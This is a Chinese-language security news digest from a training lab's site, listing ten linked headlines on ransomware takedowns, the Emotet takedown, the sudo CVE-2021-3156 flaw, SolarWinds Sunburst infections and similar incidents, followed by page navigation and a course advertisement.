免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、欧美执法部门联合宣布对NetWalker Ransomware采取行动
https://securityaffairs.co/wordpress/113944/cyber-crime/netwalker-ransowmare-dismantled.html
2、国际联合行动捣毁了Emotet僵尸网络
https://securityaffairs.co/wordpress/113933/cyber-crime/emotet-global-takedown.html
3、Pwn2Own 2021 提供超过150万美元的现金和其他奖品
https://www.securityweek.com/pwn2own-2021-hackers-offered-200000-zoom-microsoft-teams-exploits
4、Linux Sudo中堆缓冲区溢出漏洞可使普通用户获得root特权
https://securityaffairs.co/wordpress/113900/hacking/sudo-vulnerability-cve-2021-3156.html
5、研究人员披露了ADT的LifeShield DIY视频门铃漏洞
https://threatpost.com/adt-security-camera-flaw-opened-homes-stores-to-eavesdropping/163378/
6、CISA发布有关富士电机HMI产品的高严重漏洞通报
https://www.securityweek.com/cisa-issues-advisory-high-severity-vulnerabilities-fuji-electric-hmi-products
7、零售巨头Dairy Farm遭REvil勒索软件攻击
https://www.bleepingcomputer.com/news/security/pan-asian-retail-giant-dairy-farm-suffers-revil-ransomware-attack/
8、Nefilim勒索软件利用目标已故员工账户进行攻击
https://news.sophos.com/en-us/2021/01/26/nefilim-ransomware-attack-uses-ghost-credentials/
9、超过1.76亿巴基斯坦手机用户信息在黑客论坛上出售
https://www.hackread.com/pakistani-mobile-phone-users-database-sold-online/
10、上百工业组织在SolarWinds攻击中感染了Sunburst恶意软件
https://www.securityweek.com/hundreds-industrial-organizations-received-sunburst-malware-solarwinds-attack
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页 第212页 第213页 第214页 第215页 第216页 第217页 第218页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

